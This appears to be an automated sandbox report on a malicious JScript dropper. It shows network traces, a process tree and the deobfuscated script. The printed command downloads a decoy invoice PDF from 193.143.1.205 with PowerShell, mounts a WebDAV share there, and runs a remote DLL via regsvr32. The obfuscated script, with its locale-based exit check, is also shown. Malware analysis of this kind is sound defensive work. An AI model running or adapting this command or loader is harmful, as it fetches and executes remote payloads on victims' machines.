Jan 11, 2025 04:29:22.982119083 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 04:29:22.982129097 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 11, 2025 04:29:22.986417055 CET	1164	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	1984	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:29:24.866878986 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 04:29:25.666522980 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:29:25 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	22:29:17
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18620271451234622924.js"
Imagebase:	0x7ff672290000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:29:18
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll
Imagebase:	0x7ff69e4f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:29:18
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:29:18
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:29:23
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	22:29:23
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff69e4f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:29:23
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6b8f20000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:29:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:29:24
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	22:29:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1556,i,8809128848475989509,4982577557519076522,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function glgxvraio() {	glgxvraio() ➔ undefined
1	mlkmsj = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var uejzzw = this[qbnxuw + vvakhhguv + tplfmgi + cainq + xtzsf + wojdz + driqbemw + hgowa] ( this[jxgiscejx + axumm + igljnkahv + tplfmgi + fxraws + qbnxuw + hgowa][olliy + tplfmgi + xtzsf + vvakhhguv + hgowa + xtzsf + kbwmr + tlnwv + jfkrzp + xtzsf + igljnkahv + hgowa] ( jxgiscejx + axumm + igljnkahv + tplfmgi + fxraws + qbnxuw + hgowa + mxqdqewo + axumm + vbqqohr + xtzsf + ijapoma + ijapoma ) [rdtzwm + xtzsf + olhiszif + rdtzwm + xtzsf + vvakhhguv + ejuyh] ( segqmby + gvbyr + zzwgtmepn + sykhoxsr + evsjgzb + olliy + dtmju + rdtzwm + rdtzwm + zzwgtmepn + hcjyrida + lfssmhf + evsjgzb + dtmju + axumm + zzwgtmepn + rdtzwm + iiqjlohww + olliy + whrgzsdde + driqbemw + hgowa + tplfmgi + whrgzsdde + ijapoma + ytleuo + avsnh + vvakhhguv + driqbemw + xtzsf + ijapoma + iiqjlohww + wojdz + driqbemw + hgowa + xtzsf + tplfmgi + driqbemw + vvakhhguv + hgowa + fxraws + whrgzsdde + driqbemw + vvakhhguv + ijapoma + iiqjlohww + vievxnlpu + whrgzsdde + igljnkahv + vvakhhguv + ijapoma + xtzsf ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( dvkmlzyt = 0 ; dvkmlzyt < mlkmsj[ijapoma + xtzsf + driqbemw + olhiszif + hgowa + vbqqohr] ; ++ dvkmlzyt )
4	{
5	if ( uejzzw == mlkmsj[dvkmlzyt] )
6	{
7	uejzzw = true;
8	break ;
9	}
10	}
11	if ( uejzzw !== true )
12	this[jxgiscejx + axumm + igljnkahv + tplfmgi + fxraws + qbnxuw + hgowa][mkdfwbmro + ezkdakip + fxraws + hgowa] ( );
13	this[jxgiscejx + axumm + igljnkahv + tplfmgi + fxraws + qbnxuw + hgowa][olliy + tplfmgi + xtzsf + vvakhhguv + hgowa + xtzsf + kbwmr + tlnwv + jfkrzp + xtzsf + igljnkahv + hgowa] ( jxgiscejx + axumm + igljnkahv + tplfmgi + fxraws + qbnxuw + hgowa + mxqdqewo + axumm + vbqqohr + xtzsf + ijapoma + ijapoma ) [tplfmgi + ezkdakip + driqbemw] ( igljnkahv + egvpnfzvy + ejuyh + ytleuo + ufiar + igljnkahv + ytleuo + qbnxuw + whrgzsdde + hkjyd + xtzsf + tplfmgi + cainq + vbqqohr + xtzsf + ijapoma + ijapoma + mxqdqewo + xtzsf + owiacej + xtzsf + ytleuo + pgiikt + olliy + whrgzsdde + egvpnfzvy + egvpnfzvy + vvakhhguv + driqbemw + ejuyh + ytleuo + hfmazqsz + wojdz + driqbemw + bidro + whrgzsdde + qapjd + xtzsf + pgiikt + jxgiscejx + xtzsf + tlnwv + rdtzwm + xtzsf + quyxkc + ezkdakip + xtzsf + cainq + hgowa + ytleuo + pgiikt + kbwmr + ezkdakip + hgowa + hvskqtjf + fxraws + ijapoma + xtzsf + ytleuo + jcesrzjje + hgowa + xtzsf + egvpnfzvy + qbnxuw + jcesrzjje + iiqjlohww + fxraws + driqbemw + bidro + whrgzsdde + fxraws + igljnkahv + xtzsf + mxqdqewo + qbnxuw + ejuyh + qkhise + ytleuo + vbqqohr + hgowa + hgowa + qbnxuw + cllokyt + ufiar + ufiar + hlpvi + ybcpbnl + qxqlw + mxqdqewo + hlpvi + zlmlx + qxqlw + mxqdqewo + hlpvi + mxqdqewo + xqhkqucya + kmkefbhor + odsen + ufiar + fxraws + driqbemw + bidro + whrgzsdde + fxraws + igljnkahv + xtzsf + mxqdqewo + qbnxuw + vbqqohr + qbnxuw + hfmazqsz + sbrwxtx + sbrwxtx + cainq + hgowa + vvakhhguv + tplfmgi + hgowa + ytleuo + jcesrzjje + hgowa + xtzsf + egvpnfzvy + qbnxuw + jcesrzjje + iiqjlohww + fxraws + driqbemw + bidro + whrgzsdde + fxraws + igljnkahv + xtzsf + mxqdqewo + qbnxuw + ejuyh + qkhise + sbrwxtx + sbrwxtx + igljnkahv + egvpnfzvy + ejuyh + ytleuo + ufiar + igljnkahv + ytleuo + driqbemw + xtzsf + hgowa + ytleuo + ezkdakip + cainq + xtzsf + ytleuo + iiqjlohww + iiqjlohww + hlpvi + ybcpbnl + qxqlw + mxqdqewo + hlpvi + zlmlx + qxqlw + mxqdqewo + hlpvi + mxqdqewo + xqhkqucya + kmkefbhor + odsen + gozvtk + nezvyg + nezvyg + nezvyg + nezvyg + iiqjlohww + ejuyh + vvakhhguv + bidro + hkjyd + hkjyd + hkjyd + tplfmgi + whrgzsdde + whrgzsdde + hgowa + iiqjlohww + sbrwxtx + sbrwxtx + igljnkahv + egvpnfzvy + ejuyh + ytleuo + ufiar + igljnkahv + ytleuo + tplfmgi + xtzsf + olhiszif + cainq + bidro + tplfmgi + qxqlw + xqhkqucya + ytleuo + ufiar + cainq + ytleuo + iiqjlohww + iiqjlohww + hlpvi + ybcpbnl + qxqlw + mxqdqewo + hlpvi + zlmlx + qxqlw + mxqdqewo + hlpvi + mxqdqewo + xqhkqucya + kmkefbhor + odsen + gozvtk + nezvyg + nezvyg + nezvyg + nezvyg + iiqjlohww + ejuyh + vvakhhguv + bidro + hkjyd + hkjyd + hkjyd + tplfmgi + whrgzsdde + whrgzsdde + hgowa + iiqjlohww + ybcpbnl + zlmlx + qxqlw + xqhkqucya + hlpvi + hlpvi + ybcpbnl + ybcpbnl + ybcpbnl + hlpvi + odsen + ybcpbnl + mxqdqewo + ejuyh + ijapoma + ijapoma, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll",0,false) ➔ 0
14	}
15	hgowa = "c";
16	hgowa = "I";
17	hgowa = "o";
18	hgowa = "D";
19	hgowa = "b";
20	hgowa = "T";
21	hgowa = "U";
22	hgowa = "Q";
23	hgowa = "N";
24	hgowa = "t";
25	cainq = "D";
26	cainq = "b";
27	cainq = "c";
28	cainq = "J";
29	cainq = "G";
30	cainq = "n";
31	cainq = "D";
32	cainq = "a";
33	cainq = "G";
34	cainq = "N";
35	cainq = "O";
36	cainq = "s";
37	odsen = "M";
38	odsen = "J";
39	odsen = "k";
40	odsen = "E";
41	odsen = "u";
42	odsen = "f";
43	odsen = "C";
44	odsen = "P";
45	odsen = "l";
46	odsen = "K";
47	odsen = "z";
48	odsen = "F";
49	odsen = "z";
50	odsen = "w";
51	odsen = "5";
52	zzwgtmepn = "O";
53	zzwgtmepn = "b";
54	zzwgtmepn = "Y";
55	zzwgtmepn = "q";
56	zzwgtmepn = "U";
57	zzwgtmepn = "s";
58	zzwgtmepn = "C";
59	zzwgtmepn = "i";
60	zzwgtmepn = "A";
61	zzwgtmepn = "n";
62	zzwgtmepn = "o";
63	zzwgtmepn = "w";
64	zzwgtmepn = "X";
65	zzwgtmepn = "b";
66	zzwgtmepn = "E";
67	sykhoxsr = "A";
68	sykhoxsr = "h";
69	sykhoxsr = "U";
70	sykhoxsr = "S";
71	sykhoxsr = "H";
72	sykhoxsr = "F";
73	sykhoxsr = "T";
74	sykhoxsr = "m";
75	sykhoxsr = "E";
76	sykhoxsr = "e";
77	sykhoxsr = "r";
78	sykhoxsr = "O";
79	sykhoxsr = "Z";
80	sykhoxsr = "h";
81	sykhoxsr = "T";
82	sykhoxsr = "m";
83	sykhoxsr = "q";
84	sykhoxsr = "m";
85	sykhoxsr = "n";
86	sykhoxsr = "K";
87	sykhoxsr = "Q";
88	sykhoxsr = "j";
89	sykhoxsr = "W";
90	sykhoxsr = "q";
91	sykhoxsr = "Y";
92	mkdfwbmro = "Y";
93	mkdfwbmro = "k";
94	mkdfwbmro = "o";
95	mkdfwbmro = "r";
96	mkdfwbmro = "p";
97	mkdfwbmro = "C";
98	mkdfwbmro = "A";
99	mkdfwbmro = "e";
100	mkdfwbmro = "m";
101	mkdfwbmro = "j";
102	mkdfwbmro = "c";
103	mkdfwbmro = "O";
104	mkdfwbmro = "X";
105	mkdfwbmro = "Y";
106	mkdfwbmro = "q";
107	mkdfwbmro = "U";
108	mkdfwbmro = "Q";
109	evsjgzb = "H";
110	evsjgzb = "o";
111	evsjgzb = "F";
112	evsjgzb = "j";
113	evsjgzb = "R";
114	evsjgzb = "g";
115	evsjgzb = "z";
116	evsjgzb = "i";
117	evsjgzb = "t";
118	evsjgzb = "p";
119	evsjgzb = "b";
120	evsjgzb = "_";
121	sbrwxtx = "E";
122	sbrwxtx = "J";
123	sbrwxtx = "Z";
124	sbrwxtx = "Z";
125	sbrwxtx = "z";
126	sbrwxtx = "r";
127	sbrwxtx = "b";
128	sbrwxtx = "P";
129	sbrwxtx = "d";
130	sbrwxtx = "z";
131	sbrwxtx = "b";
132	sbrwxtx = "j";
133	sbrwxtx = "I";
134	sbrwxtx = "J";
135	sbrwxtx = "D";
136	sbrwxtx = "K";
137	sbrwxtx = "J";
138	sbrwxtx = "S";
139	sbrwxtx = "I";
140	sbrwxtx = "Y";
141	sbrwxtx = "M";
142	sbrwxtx = "i";
143	sbrwxtx = "o";
144	sbrwxtx = "J";
145	sbrwxtx = "&";
146	fxraws = "E";
147	fxraws = "M";
148	fxraws = "k";
149	fxraws = "u";
150	fxraws = "k";
151	fxraws = "z";
152	fxraws = "r";
153	fxraws = "Q";
154	fxraws = "t";
155	fxraws = "j";
156	fxraws = "b";
157	fxraws = "O";
158	fxraws = "D";
159	fxraws = "b";
160	fxraws = "b";
161	fxraws = "H";
162	fxraws = "i";
163	fxraws = "M";
164	fxraws = "m";
165	fxraws = "K";
166	fxraws = "y";
167	fxraws = "h";
168	fxraws = "o";
169	fxraws = "x";
170	fxraws = "e";
171	fxraws = "V";
172	fxraws = "N";
173	fxraws = "B";
174	fxraws = "j";
175	fxraws = "B";
176	fxraws = "H";
177	fxraws = "m";
178	fxraws = "k";
179	fxraws = "Z";
180	fxraws = "p";
181	fxraws = "o";
182	fxraws = "R";
183	fxraws = "i";
184	fxraws = "i";
185	fxraws = "a";
186	fxraws = "m";
187	fxraws = "i";
188	olhiszif = "p";
189	olhiszif = "U";
190	olhiszif = "P";
191	olhiszif = "e";
192	olhiszif = "z";
193	olhiszif = "I";
194	olhiszif = "x";
195	olhiszif = "p";
196	olhiszif = "S";
197	olhiszif = "p";
198	olhiszif = "v";
199	olhiszif = "q";
200	olhiszif = "Z";
201	olhiszif = "A";
202	olhiszif = "V";
203	olhiszif = "Q";
204	olhiszif = "V";
205	olhiszif = "f";
206	olhiszif = "z";
207	olhiszif = "H";
208	olhiszif = "s";
209	olhiszif = "y";
210	olhiszif = "v";
211	olhiszif = "H";
212	olhiszif = "q";
213	olhiszif = "t";
214	olhiszif = "o";
215	olhiszif = "Y";
216	olhiszif = "G";
217	olhiszif = "D";
218	olhiszif = "I";
219	olhiszif = "t";
220	olhiszif = "I";
221	olhiszif = "g";
222	ijapoma = "M";
223	ijapoma = "c";
224	ijapoma = "q";
225	ijapoma = "w";
226	ijapoma = "v";
227	ijapoma = "P";
228	ijapoma = "w";
229	ijapoma = "q";
230	ijapoma = "L";
231	ijapoma = "B";
232	ijapoma = "p";
233	ijapoma = "s";
234	ijapoma = "F";
235	ijapoma = "r";
236	ijapoma = "b";
237	ijapoma = "w";
238	ijapoma = "I";
239	ijapoma = "l";
240	ybcpbnl = "T";
241	ybcpbnl = "9";
242	dtmju = "x";
243	dtmju = "R";
244	dtmju = "U";
245	dtmju = "t";
246	dtmju = "T";
247	dtmju = "a";
248	dtmju = "m";
249	dtmju = "N";
250	dtmju = "D";
251	dtmju = "Z";
252	dtmju = "K";
253	dtmju = "f";
254	dtmju = "h";
255	dtmju = "n";
256	dtmju = "m";
257	dtmju = "H";
258	dtmju = "p";
259	dtmju = "J";
260	dtmju = "J";
261	dtmju = "L";
262	dtmju = "r";
263	dtmju = "U";
264	jfkrzp = "K";
265	jfkrzp = "d";
266	jfkrzp = "e";
267	jfkrzp = "X";
268	jfkrzp = "U";
269	jfkrzp = "S";
270	jfkrzp = "f";
271	jfkrzp = "E";
272	jfkrzp = "j";
273	cllokyt = "O";
274	cllokyt = "a";
275	cllokyt = "i";
276	cllokyt = "x";
277	cllokyt = "Y";
278	cllokyt = "E";
279	cllokyt = "p";
280	cllokyt = "Z";
281	cllokyt = "w";
282	cllokyt = "j";
283	cllokyt = "p";
284	cllokyt = "S";
285	cllokyt = "a";
286	cllokyt = "c";
287	cllokyt = "i";
288	cllokyt = "O";
289	cllokyt = "d";
290	cllokyt = "d";
291	cllokyt = "r";
292	cllokyt = "K";
293	cllokyt = "y";
294	cllokyt = "e";
295	cllokyt = "x";
296	cllokyt = "w";
297	cllokyt = "g";
298	cllokyt = "f";
299	cllokyt = "y";
300	cllokyt = "r";
301	cllokyt = "P";
302	cllokyt = "y";
303	cllokyt = "R";
304	cllokyt = "Y";
305	cllokyt = "d";
306	cllokyt = "j";
307	cllokyt = "f";
308	cllokyt = "P";
309	cllokyt = "q";
310	cllokyt = "U";
311	cllokyt = "J";
312	cllokyt = ":";
313	kbwmr = "L";
314	kbwmr = "I";
315	kbwmr = "v";
316	kbwmr = "h";
317	kbwmr = "u";
318	kbwmr = "F";
319	kbwmr = "D";
320	kbwmr = "h";
321	kbwmr = "n";
322	kbwmr = "E";
323	kbwmr = "u";
324	kbwmr = "p";
325	kbwmr = "H";
326	kbwmr = "o";
327	kbwmr = "v";
328	kbwmr = "Q";
329	kbwmr = "X";
330	kbwmr = "A";
331	kbwmr = "i";
332	kbwmr = "U";
333	kbwmr = "H";
334	kbwmr = "A";
335	kbwmr = "f";
336	kbwmr = "n";
337	kbwmr = "W";
338	kbwmr = "f";
339	kbwmr = "O";
340	kbwmr = "J";
341	kbwmr = "a";
342	kbwmr = "Y";
343	kbwmr = "u";
344	kbwmr = "J";
345	kbwmr = "t";
346	kbwmr = "n";
347	kbwmr = "Y";
348	kbwmr = "W";
349	kbwmr = "q";
350	kbwmr = "f";
351	kbwmr = "N";
352	kbwmr = "D";
353	kbwmr = "X";
354	kbwmr = "g";
355	kbwmr = "M";
356	kbwmr = "O";
357	kbwmr = "O";
358	kmkefbhor = "V";
359	kmkefbhor = "k";
360	kmkefbhor = "t";
361	kmkefbhor = "h";
362	kmkefbhor = "d";
363	kmkefbhor = "Y";
364	kmkefbhor = "0";
365	tplfmgi = "A";
366	tplfmgi = "u";
367	tplfmgi = "C";
368	tplfmgi = "r";
369	tplfmgi = "L";
370	tplfmgi = "G";
371	tplfmgi = "F";
372	tplfmgi = "d";
373	tplfmgi = "r";
374	hlpvi = "q";
375	hlpvi = "Q";
376	hlpvi = "I";
377	hlpvi = "w";
378	hlpvi = "a";
379	hlpvi = "B";
380	hlpvi = "O";
381	hlpvi = "u";
382	hlpvi = "E";
383	hlpvi = "T";
384	hlpvi = "v";
385	hlpvi = "c";
386	hlpvi = "E";
387	hlpvi = "d";
388	hlpvi = "A";
389	hlpvi = "R";
390	hlpvi = "O";
391	hlpvi = "M";
392	hlpvi = "F";
393	hlpvi = "K";
394	hlpvi = "u";
395	hlpvi = "X";
396	hlpvi = "B";
397	hlpvi = "p";
398	hlpvi = "Q";
399	hlpvi = "q";
400	hlpvi = "y";
401	hlpvi = "W";
402	hlpvi = "a";
403	hlpvi = "p";
404	hlpvi = "C";
405	hlpvi = "1";
406	tlnwv = "t";
407	tlnwv = "B";
408	tlnwv = "Y";
409	tlnwv = "A";
410	tlnwv = "j";
411	tlnwv = "E";
412	tlnwv = "M";
413	tlnwv = "p";
414	tlnwv = "o";
415	tlnwv = "X";
416	tlnwv = "q";
417	tlnwv = "p";
418	tlnwv = "l";
419	tlnwv = "q";
420	tlnwv = "e";
421	tlnwv = "S";
422	tlnwv = "Q";
423	tlnwv = "r";
424	tlnwv = "a";
425	tlnwv = "y";
426	tlnwv = "H";
427	tlnwv = "m";
428	tlnwv = "j";
429	tlnwv = "V";
430	tlnwv = "p";
431	tlnwv = "U";
432	tlnwv = "a";
433	tlnwv = "H";
434	tlnwv = "U";
435	tlnwv = "b";
436	qapjd = "E";
437	qapjd = "L";
438	qapjd = "n";
439	qapjd = "a";
440	qapjd = "k";
441	qapjd = "w";
442	qapjd = "q";
443	qapjd = "L";
444	qapjd = "l";
445	qapjd = "O";
446	qapjd = "B";
447	qapjd = "C";
448	qapjd = "e";
449	qapjd = "u";
450	qapjd = "r";
451	qapjd = "b";
452	qapjd = "r";
453	qapjd = "h";
454	qapjd = "o";
455	qapjd = "A";
456	qapjd = "f";
457	qapjd = "r";
458	qapjd = "O";
459	qapjd = "B";
460	qapjd = "n";
461	qapjd = "f";
462	qapjd = "H";
463	qapjd = "E";
464	qapjd = "Z";
465	qapjd = "k";
466	pgiikt = "Z";
467	pgiikt = "T";
468	pgiikt = "F";
469	pgiikt = "w";
470	pgiikt = "v";
471	pgiikt = "y";
472	pgiikt = "T";
473	pgiikt = "u";
474	pgiikt = "y";
475	pgiikt = "Q";
476	pgiikt = "k";
477	pgiikt = "H";
478	pgiikt = "H";
479	pgiikt = "z";
480	pgiikt = "M";
481	pgiikt = "y";
482	pgiikt = "L";
483	pgiikt = "E";
484	pgiikt = "B";
485	pgiikt = "L";
486	pgiikt = "R";
487	pgiikt = "s";
488	pgiikt = "S";
489	pgiikt = "t";
490	pgiikt = "x";
491	pgiikt = "s";
492	pgiikt = "j";
493	pgiikt = "W";
494	pgiikt = "w";
495	pgiikt = "k";
496	pgiikt = "N";
497	pgiikt = "A";
498	pgiikt = "L";
499	pgiikt = "O";
500	pgiikt = "Q";
501	pgiikt = "I";
502	pgiikt = "i";
503	pgiikt = "H";
504	pgiikt = "-";
505	quyxkc = "r";
506	quyxkc = "p";
507	quyxkc = "K";
508	quyxkc = "j";
509	quyxkc = "j";
510	quyxkc = "t";
511	quyxkc = "e";
512	quyxkc = "E";
513	quyxkc = "Z";
514	quyxkc = "T";
515	quyxkc = "g";
516	quyxkc = "H";
517	quyxkc = "H";
518	quyxkc = "j";
519	quyxkc = "G";
520	quyxkc = "f";
521	quyxkc = "Y";
522	quyxkc = "I";
523	quyxkc = "q";
524	hkjyd = "w";
525	xqhkqucya = "Z";
526	xqhkqucya = "O";
527	xqhkqucya = "S";
528	xqhkqucya = "S";
529	xqhkqucya = "b";
530	xqhkqucya = "p";
531	xqhkqucya = "x";
532	xqhkqucya = "l";
533	xqhkqucya = "B";
534	xqhkqucya = "T";
535	xqhkqucya = "g";
536	xqhkqucya = "b";
537	xqhkqucya = "V";
538	xqhkqucya = "x";
539	xqhkqucya = "w";
540	xqhkqucya = "U";
541	xqhkqucya = "U";
542	xqhkqucya = "q";
543	xqhkqucya = "I";
544	xqhkqucya = "H";
545	xqhkqucya = "D";
546	xqhkqucya = "r";
547	xqhkqucya = "r";
548	xqhkqucya = "C";
549	xqhkqucya = "W";
550	xqhkqucya = "D";
551	xqhkqucya = "f";
552	xqhkqucya = "Z";
553	xqhkqucya = "R";
554	xqhkqucya = "U";
555	xqhkqucya = "2";
556	xtzsf = "b";
557	xtzsf = "O";
558	xtzsf = "m";
559	xtzsf = "b";
560	xtzsf = "j";
561	xtzsf = "o";
562	xtzsf = "L";
563	xtzsf = "m";
564	xtzsf = "K";
565	xtzsf = "a";
566	xtzsf = "P";
567	xtzsf = "W";
568	xtzsf = "k";
569	xtzsf = "G";
570	xtzsf = "n";
571	xtzsf = "u";
572	xtzsf = "W";
573	xtzsf = "l";
574	xtzsf = "o";
575	xtzsf = "a";
576	xtzsf = "e";
577	qxqlw = "x";
578	qxqlw = "t";
579	qxqlw = "p";
580	qxqlw = "f";
581	qxqlw = "K";
582	qxqlw = "k";
583	qxqlw = "z";
584	qxqlw = "o";
585	qxqlw = "q";
586	qxqlw = "H";
587	qxqlw = "Z";
588	qxqlw = "3";
589	iiqjlohww = "b";
590	iiqjlohww = "P";
591	iiqjlohww = "t";
592	iiqjlohww = "w";
593	iiqjlohww = "F";
594	iiqjlohww = "w";
595	iiqjlohww = "H";
596	iiqjlohww = "T";
597	iiqjlohww = "w";
598	iiqjlohww = "J";
599	iiqjlohww = "Z";
600	iiqjlohww = "h";
601	iiqjlohww = "u";
602	iiqjlohww = "y";
603	iiqjlohww = "B";
604	iiqjlohww = "X";
605	iiqjlohww = "F";
606	iiqjlohww = "h";
607	iiqjlohww = "s";
608	iiqjlohww = "A";
609	iiqjlohww = "O";
610	iiqjlohww = "t";
611	iiqjlohww = "I";
612	iiqjlohww = "K";
613	iiqjlohww = "Y";
614	iiqjlohww = "Q";
615	iiqjlohww = "J";
616	iiqjlohww = "E";
617	iiqjlohww = "T";
618	iiqjlohww = "h";
619	iiqjlohww = "f";
620	iiqjlohww = "s";
